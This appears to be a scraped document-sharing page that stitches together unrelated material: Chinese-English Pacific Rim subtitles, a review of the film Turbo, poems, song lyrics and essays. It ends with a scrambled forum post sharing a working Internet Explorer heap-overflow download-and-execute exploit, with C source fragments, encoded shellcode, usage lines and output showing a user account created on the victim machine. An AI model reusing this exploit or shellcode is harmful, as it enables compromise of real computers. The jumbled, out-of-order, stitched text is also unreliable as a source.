Yep.现在它是我们的转折点Now it's runnin' point for us.等等什么转折点Wait, running point on what?你还没有告诉我来这里做什么You haven't told me what I'm doing here yet.我们要摧毁穿越口贝克特先生We're going for the breach, Mr. becket.我们要给突击者的背上装上We're gonna strap a 2,400 pound一吨♥多的热核弹头thermonuclear warhead to Striker's back.相当于120万吨♥TNT炸♥药♥ Detonate an equivalent of 1.2 million tons of TNT,你和其他两台猎人的任务是掩护他们and you and two other Jaegers'll be runnin' defense for them. 我以为我们只是抵抗者Thought we were the resistance.你从哪儿搞来这么大的家伙的?Where'd you get something that big?看到那群俄♥罗♥斯♥人了吗See the Russians back there?他们应有尽有They can get us anything.赫克走吧Herc, shall we?你能回来真好Good to have you back.谢谢长官Thank you, sir.现在我带你去看你的猎人I'll show you to your Jaeger now.真子小姐请您等等好吗Miss mori, will you give me a minute?将军Marshal!长官我们以前也袭击过穿越口Sir, we've hit the breach before.可是没用穿不透它It doesn't work. Nothing goes through.这次有什么不一样吗What's changed?我已经有计划了你只要准备好就够了I've got a plan. I need you ready.就是这样That's all.咱们走吧赫克Let's go, Herc!麦克斯快过来Max, come here!第十七组前去五层报告Crew 17, please report to the fifth floor.〇减二Zero minus two.XY减二XY minus two.R E QR-e-q.一开始In the beginning,怪兽每隔二十四周袭击一次the Kaiju attacks were spaced by 24 weeks.之后是十二周六周两周Then twelve, then six, then every two weeks.最近的悉尼那一次只隔了一周The last one in Sydney was a week.四天后我们每八小时就会看到一只怪兽In four days, we could be seeing a Kaiju every eight hours 直到缩短到每四分钟until they are coming every four minutes.将军七天之内或许就会看到Marshal, we should witness a double event两头怪兽同时发起的双重事件within seven days.戈特利布先生Mr. Gottlieb,我要投下一枚一顿重的热核弹头I'm to drop a 2,400 pound thermonuclear bomb.我需要你准确的结论I need more than a prediction.好吧确实是这样Well, uh, that's a problem, then因为如你所见because see, he actually他除了会预测其他啥都不会can't give you anything more than a prediction.别把怪兽内脏弄到我这边来No Kaiju entrails over my side of the room.你知道规矩You know the rules.每一天都充满血腥没完没了Every bloody day. It's incessant.先生们闹够没Gents! On point.数字是不会说谎的Numbers do not lie.政♥治♥ 诗歌♥ 承诺Politics and poetry, promises,这些统统都是谎言these are lies.数字是我们获取上帝手谕最好的途径Numbers are as close as we get to the handwriting of God. 什么What?你别打岔Would you give me a moment?将会发生双重事件There will be a double event之后会是三重事件and then, shortly thereafter, three.然后是四重And then four.最后我们就都死了And then we're dead.-我知道 -悲剧诞生了- I get it. - Alas.可这也有好的一方面This is where the good news comes.这是我们所在的宇宙Here is our universe,这是它们所在的宇宙and here is theirs.而这里就是我们通常所说的"咽喉地带"And this is what we call "the throat,"是我们和缺口之间的通道the passage between the breach and us.我们都知道这实际上是原子构成We know that it's atomic in nature.据我推测怪兽穿越数量的增加I predict that the increased traffic可以使缺口保持will force the breach to stabilize长时间的稳定and remain open long enough让我们的装置通过to get the device through...并摧毁它And collapse its structure.我不得不插一句Yeah, and that's where I gotta chime in因为说真的我可不想because, really, I wouldn't wanna go in there在对其一无所知之前跑到里面去with that limited amount of information.牛顿别丢脸了Newton, don't embarrass yourself.这就是我想要说的That's what I was tryin' to say.你听我说Just hear me out for a second.听我说好吗Give me a second, please.我们为什么把怪兽分级呢Why do we judge the Kaiju on a category system?因为它们彼此之间差异很大没错吧It's because each one is completely different from the next, right? 明白我的意思了吗You see what I'm saying?它们有的像鲨鱼有的像小鱼One looks like a shark and one looks like a fish...葛泽尔博士请你说重点Dr. Geiszler. Just get to the point.好的重点就是我认为Yes. The point is I don't think它们并不是完全不同的they're all completely different after all.还记得我收集的那些样本吗These are some samples I collected, all right?这个是在悉尼得到的Now, this one here was harvested in Sydney.这个是在马尼拉得到的And this was harvested in Manila.六年前的时候6 years ago.可它们有着相同的DNAThey have the same exact DNA.。
极速蜗牛作文【极速蜗牛观后感】
极速蜗牛作文【极速蜗牛观后感】极速蜗牛观后感1动画片《极速蜗牛》是梦工厂动画公司在《疯狂原始人》票房好评不断的基础上推出的又一喜剧动画片,影片上映之初便引起了不小的轰动,赢得了许多称赞。
《极速蜗牛》是在《疯狂原始人》取得最大成功时便已筹备的影片,本身就能够引起观影者的兴趣。
作品中所具有的崇高美,在很大程度上激起了受众心灵深处的“崇高感”。
该片其平淡却激昂的表达内容、直白却深刻的描写手法、简单却有力的镜头语言,从头到尾流淌着让人感动的真诚,令观众流连其中,无法自拔。
一部影片的成功,不在于捧得多少奖杯与荣耀,也不在于获得多少票房与金钱,而在于是否触动了观者的灵魂,是否传递了精神的力量。
在观看完影片后,相信绝大部分观众都对turbo 这只顽强的小蜗牛留下了深刻的影响,它的那种生生不息的奋斗精神,为梦想而努力的精神具有强烈的现实意义。
《极速蜗牛》这部影片夸张大胆的剧情,奇幻绚丽的镜头与主人公有趣的妙趣横生的幻想与恐惧,舞台剧风格式的表演与人物内心真实的独白和夸张的表演,单一的人物和场景与经典的台词和经典的画面交相辉映,影片运用灵活多变,穿插结合的叙事策略,巧妙地表达出电影语言都是将这部影片推向优秀电影的重要原因。
电影一开始turbo旁若无人,完全在自己的世界里。
反复看着看了无数遍的赛车录像带,幻想自己是个赛车手讲获奖感言,分享成功经验。
白天工作推番茄的时候也抓住机会角色扮演,别的蜗牛都笑话他,看起来就是一个小人物的痴心妄想。
但他迷恋自己的偶像gagne,并用他的话一直鼓励自己“nodreamistoobig,nodreameristoosmall”,夜晚自己偷偷练习,为一点小进步欢呼雀跃,喝着饮料追着比赛live。
舍不得大家一直看重的小红番茄就这么丢掉,螳臂当车差点送了命,再到后来的离家出走,奇遇变成小赛车。
整段经历看的我有点羡慕,自己现在连这么狂恋某样东西的勇气都没了,更别谈为之这么努力。
turbo作为一只菜园的小蜗牛,却有着一个几乎不能实现的梦想,那就是成为一只世界上跑的最快的蜗牛。
陈东东诗选
陈东东诗选陈东东(1961- )。
出版的诗集有《海神的一夜》(1997)、《明净的部分》(1997)。
秋歌五首(选二)未完成时代广场外滩低岸炼丹者巷22号月全食雨中的马黑背鸦之夜点灯夏日之光第一场雪冬日外滩读罢《神曲》在黑暗中我在上海的失眠症深处秋歌五首(选二)之一秋天暴雨后升起的亮星推迟黑暗!玫瑰园内外,洗净的黄昏归妃子享用,被一个过路的吟唱者所爱。
牛羊下来,谁还在奔走?隐晦的钟声仅仅让守时的僧侣听取。
海波排开的狮子门行宫落下了王旗。
精细的发辫。
泉眼和丁香。
火焰。
喷水池。
与半圆月相称的年轻女官从中庭到后花园,于微光中诵读写下的诗篇。
于微光中诵读,这千年之后泛黄的赞颂在她的唇齿间。
当伟大的亮星破空而出,--啊南方,扇形展开的水域和丰收!艳紫的凉亭下忧心的皇帝愈见孤单,命令掌灯人燃起了黑夜。
夜色被点燃,如塔上的圣诉,聚集人民和四散的鸟群。
妃子倾听,美人鱼跃出--啊吟唱者,吹笛者,他独自在稻米和风中出没,仰面看清了旋转的天象。
他步入民间最黑的腹地,以另外的火炬,照耀蓝色的马匹和梦想。
而醉于纸张的皇帝却起身,赐福露水、女性和果实。
伟大的亮星!亿万颗钻石焕发出激情!两种不同的嗓音正交替。
--牛羊下来,谁还在奔走?诗篇在否定中坚持诗篇,启发又慰藉南方的世代。
之五翻山见到满月的文法家即兴歌咏:在鹰翅之下,沟渠贯穿白净平野,冷光从牛栏直到树冠;长河流尽,崇山带雪,明镜映现的娇好容颜由发辫环绕。
长河流尽,崇山带雪。
秋气托举著群星和宁静。
紫鹿苑深处的讲经堂上,朱砂,环佩,明辨之灯把女弟子照亮。
他翻山而至,头顶著满月,手中的大丽菊暗含夜露。
他站在拱廊前即兴歌咏;生命解体;爱正醒悟;火光之中能被人认清的难道是幸福?肉身之美在紫鹿苑中,被一个文法家辞语编织。
肉身之美在诗歌的灯下,远离开秋天,被音节把握。
莲花之眼。
红宝石之唇。
讲经堂上,一部典籍论述万有,另一部典籍证明了起源。
应和的女弟子舞蹈的脚镯,一轮满月横贯luoti(被禁止)。
《掀开后车厢》歌词 自然卷
掀开后车厢
清晨五点醒来掀开了被
拼图般的梦魇还剩一点
打个哈欠通通给我滚远点
渐渐回温的身体像只退了冰的鱼开合着嘴心事总要保留一些
保留一些一些些
千万不要吵醒身边熟睡的女人要不然责备的眼神会化成一片片
镶进你的日记本
早晨的第一杯咖啡可不可以
留下一口给流浪的人们因为
回家的路太遥远遥远遥远
太遥远看不见
掀开后车厢的一瞬间
Susan在美国那一边
生下了一个Baby体重只有2000 掀开后车厢的一瞬间
Fanny刚好喝完最后一杯
站在12楼的窗台前紧闭着眼
Jerry悄悄的拉上铁门
重重的一拳打在他的脸
还说了声Auf wiedersehen Auf wiedersehen Auf wiedersehen Auf wiedersehen Auf wiedersehen 两公升的LV包包顶多装下十碗泡面
爷爷的收音机可以唱出100分贝
4X6的照片记得住多少怀念
35岁的男人全身上下还剩多少尊严Bobby醉倒在路边卡住7-11的自动门叮咚叮咚叮咚好似在催眠
我掀开后车厢的一瞬间
席丹用力的一记头捶
全世界都张大了嘴
我掀开后车厢的一瞬间
村上龙的69趴在那边
像张过期的报纸还微微发嗔
掀开后车厢的一瞬间
警察伯伯变了脸
前天买的鱼还丢在里面
闷了两夜那气味
掀开后车厢的一瞬间
掀开后车厢的一瞬间
掀开后车厢的一瞬间
我掀开后车厢的一瞬间
掀开后车厢的一瞬间
掀开后车厢的一瞬间
我有一点分神
掀开后车厢的一瞬间
发现里面有一双白布鞋
磨平的鞋底竟然浮现出一张笑脸以上就是关于掀开后车厢的歌词,感谢您的阅读!。
[倒叙] 倒叙的作文
《[倒叙] 倒叙的作文》摘要:我相信只要放手,它便会立即消失在异国他乡…… 第三幅《千年余韵》,第四幅《相对无语》,则驹画得更轻松畅快,画着画着,还会大声哼唱几句,劳伦仔细地听着,听懂了,理解了,很有教养很有风度地同意了,他补充说:“最好有一些不同……” 于是,则驹画了《远古的蹄声2》,背景比原作多了三匹马三个骑者2000年,画集《芭蕾篇――关则驹油画》出版了,是美国怀恩斯坦画廊出资,由中国雅昌公司印刷,条件是独家代理他的芭蕾题材作品。
其实,画廊是有点亏了,因为他们代理了才一年多,也没想到,捧着似乎还带着印刷机的温热的画册,“关”(他们这样称呼他)的心思己经跃出了芭蕾的圈子。
而他不是一个空想的人。
两年后,则驹画成了“倒叙:人体・古画”系列作品。
为此,他曾有过一阵沉闷的日子。
那时他常常孤独地抽烟,默想不语。
他看书,看那些故宫藏画册、古民居等;也天天习字,占了家里的饭桌,铺块毯子当书桌,晚上躺在床上看《中国书法大全》。
现在回想,那是一种朦胧的自觉吧。
引导它变得清晰的,应是与生俱来的审美情怀。
因为当他在油画布上临摹千年前的大师作品时,他是由衷敬佩的。
第一张“人体・古画”题为“亘古的印象”。
在画完人体时有个小小的停顿,他在捉摸背景。
后来,他选择了临摹《韩熙载夜宴图》的局部。
所以,这幅画的整体构图是不完美的,因为人体偏高了。
第二幅是《远古的蹄声》。
背景临摹自唐代名画《虢国夫人游春图》局部,前景是一个侧扭着身子坐着的女人体。
从打稿、着笔、丰富、完成,我的感觉跟�他的画笔走向饱满,直至被打动。
我想知道这感觉是否仅是我个人的,于是打了个电话给怀恩斯坦画廊的老板劳伦,告诉他我有一幅画要给他看,声明仅仅是看。
当我提着黑布覆盖着的画走进画廊,劳伦己经在等着了。
他是一个对画家宽容大度而思维和行动都很敏捷的人。
在展示室里,他有些急促地拆开黑布,把画挂到墙上,拧亮了射灯…… 在一个整体色调气氛的包裹中,彷�散发着体温的裸女与背后临摹的三匹马和马上的骑者,在聚光中交融�飘荡出一种微妙的魅力…… 劳伦一瞬间愣住了,他很快很大声地说了什么,也没跟我打个招呼,迅速地走出了房间。
俞平伯:跋《灰色马》译本
俞平伯:跋《灰色马》译本俞平伯:跋《灰色马》译著一言蔽之,咱们要了解书中人佐治的性情,榜首个观念便是对立。
他无时无地不在这旋涡的激扰之中。
Gourmont在他底《卢森堡之一夜》里边说:事事都是对立的,我也不肯再讲了。
这和《灰色马》中所谓接吻罢,不要思想了,正是同一的意思。
为什么不要想,不要讲呢?由于想不出,讲不通底原故。
但他们偏要找想不出的去想,找讲不通的去讲。
这又是一种新的对立了。
总归,咱们张着眼去窥视包孕着咱们的国际全部,看不见和谐,看不见体系,只看见一团一团,一片一片的纠缠着,冲突着的憧憧然的怪东西。
咱们有求常识底欲念,并且有求常识和谐底欲念;但总算堕入对立的泥中;何况,不光包孕着咱们的已无和谐底或许;即咱们自己也是大怪物中底一个小怪物。
咱们不光不知道全部罢了,即最密接的自我,所知的亦是最少。
这真实不能使咱们再忍受下去!全部是谎犹有可说,连我自己也是一个谎当然是不行堪的,对立即存在我底中心,欲革除对立,惟有否定我。
至于必定自我的人,只要让这种情况与咱们相终始的一法。
必定的不讲,必定的不想,把榜首义的日子之路上贴上一张此路不通底便条,而鼓励妄图第二义日子底充分。
咱们现已大大地退让了,而情况底欠安固不自封。
所谓榜首义与第二义底差异,便是什么为什么与怎样底差异。
我前几天做了一个梦。
梦儿初醒,迷迷胡胡地想着:咱们关于日子,只要三个情绪。
如日子是顺着咱们的,那么咱们便吃苦它;如日子是逆着咱们的,那么咱们便破坏它;如吃苦不得,破坏不了底时分,那么咱们便放下它。
其时自己觉得这种见地颇是明通。
但醒清楚了一想,觉得话虽好听,总是梦话。
全国有这般简略的工作,有这般简略的我吗?关于日子,有这般单纯的爱与憎吗?火烧了眉毛,你能够放下吗?少艾的女郎张着臂膊,你能够放下吗?已然这些工作是不大或许的,并且是不大会有的:那么,这不是梦话是什么呢?咱们日子底痼疾是不行救药的了!人人都嗟叹着,嫌恶他自己药方底无效。
总想抢别个患者底药方来瞧一下,以为中心有多么的灵丹妙剂呢。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
"%u8b04%uc503%u5eab%uc359%u58e8%uffff%u8eff%u0e4e"
"%uc1ec%ue579%u98b8%u8afe%uef0e%ue0ce%u3660%u2f1a"
"%u2ee8%u0000%u8300%u20ec%udc8b%u206a%uff53%u0456"
"%u04c7%u5c03%u2e61%uc765%u0344%u7804%u0065%u3300"
"%u50c0%u5350%u5057%u56ff%u8b10%u50dc%uff53%u0856"
*
*daxctle2.c-InternetExplorerCOMObjectHeapOverflowDownloadExecExploit
*!!!0day!!!PublicVersion!!!
*
*Copyright(C)2006XSecAllRightsReserved.
*
*Author :nop
* :nop#
* :[url][/url]
* :
*Tested :Windows20xplorer6.0SP1
* :WindowsXPSP2CN
* : +InternetExplorer6.0SP1(Youneedsomegoodluck!:-)
以下是测试结果:
Copycode
MicrosoftWindowsXP[版本5.1.2600]
(C)版权所有1985-2001MicrosoftCorp.
C:\DocumentsandSettings\new>netuser
\\HACK的用户帐户
-------------------------------------------------------------------------------
char*url=NULL;
//DownloadExecShellcodebynop
unsignedcharsc[]=
"\xe9\xa3\x00\x00\x00\x5f\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b"
"\x70\x1c\xad\x8b\x68\x08\x8b\xf7\x6a\x04\x59\xe8\x43\x00\x00\x00"
"\xec\xc1\x79\xe5\xb8\x98\xfe\x8a\x0e\xef\xce\xe0\x60\x36\x1a\x2f"
"\x70";
char*header=
"<html>\n"
"<head>\n"
"<title></title>\n"
"</head>\n"
"%u6870%u7474%u3a70%u2f2f%u3231%u2e37%u2e30%u2e30"
"%u2f31%u7966%u652e%u6578%u0000";
[+]exploitwritetoflyaway.htmsuccess!
C:\DocumentsandSettings\new>netuser //运行之后
Guest HelpAssistant new
SUPPORT_388945a0
命令成功完成。
C:\DocumentsandSettings\new>14
'14'不是内部或外部命令,也不是可运行的程序
或批处理文件。
C:\DocumentsandSettings\new>fy
"<body>\n"
[+]exploitfile:flyaway.htm
"%ua3e9%u0000%u5f00%ua164%u0030%u0000%u408b%u8b0c"
"%u1c70%u8bad%u0868%uf78b%u046a%ue859%u0043%u0000"
"%uf9e2%u6f68%u006e%u6800%u7275%u6d6c%uff54%u9516"
InternetExplorerCOMObjectHeapOverflowDownloadExecExploit
*!!!0day!!!PublicVersion!!!
实用系统:
Windows2000ServerSP4CN
+InternetExplorer6.0SP1
WindowsXPSP2CN
"\x3a\xd6\x74\x08\xc1\xcb\x0d\x03\xda\x40\xeb\xf1\x3b\x1f\x75\xe7"
"\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd\x8b"
"\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\x58\xff\xff\xff\x8e\x4e\x0e"
[此贴被风尘浪子在2006-09-1817:30重新编辑]
附件:fy.rar(27K)下载次数:215顶部 zhuwg 发布于:2006-09-1723:00 [1楼]
代码如下,大家来优化下,去掉异常
争取超过06014
Copycode
/*
*-----------------------------------------------------------------------
Usage:fy<URL>[url]/flyaway/mm.exe[/url]
C:\DocumentsandSettings\new>fy[url]http://127.0.0.1/fy.exe[/url]
[+]downloadurl:[url]http://127.0.0.1/fy.exe[/url]
"%u56ff%u510c%u8b56%u3c75%u748b%u782e%uf503%u8b56"
"%u2076%uf503%uc933%u4149%u03ad%u33c5%u0fdb%u10be"
"%ud63a%u0874%ucbc1%u030d%u40da%uf1eb%u1f3b%ue775"
* :
*
*------------------------------------------------------------------------
*/
#include<stdio.h>
#include<stdlib.h>
FILE*fp=NULL;
char*file="xsec.htm";
InternetExplorerCOMObjectRemoteHeapOverflowDownloadExecExploit
Codebynopnop#,编译by风尘浪子[E.S.T]QQ:156544632
!!!MYBlog:[url]/flyaway[/url]
"\xe2\xf9\x68\x6f\x6e\x00\x00\x68\x75\x72\x6c\x6d\x54\xff\x16\x95"
"\xe8\x2e\x00\x00\x00\x83\xec\x20\x8b\xdc\x6a\x20\x53\xff\x56\x04"
"\xc7\x04\x03\x5c\x61\x2e\x65\xc7\x44\x03\x04\x78\x65\x00\x00\x33"
\\HACK的用户帐户
-------------------------------------------------------------------------------
Administrator ASPNET flyaway
fy Guest HelpAssistant
Administrator ASPNET flyaway
fy Guest HelpAssistant
new SUPPORT_388945a0
命令成功完成。
C:\DocumentsandSettings\new>netuserfy/del
new SUPPORT_388945a0
命令成功完成。
C:\DocumentsandSettings\new>
看到了吧,还有效果吧。欢迎大家讨论并做深入研究!闪!
=800)window.open('/attachment/Mon_0609/10_10717_c0ec7b72c50c555.jpg');"onload="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';">
+InternetExplorer6.0SP1(Youneedsomegoodluck!:-)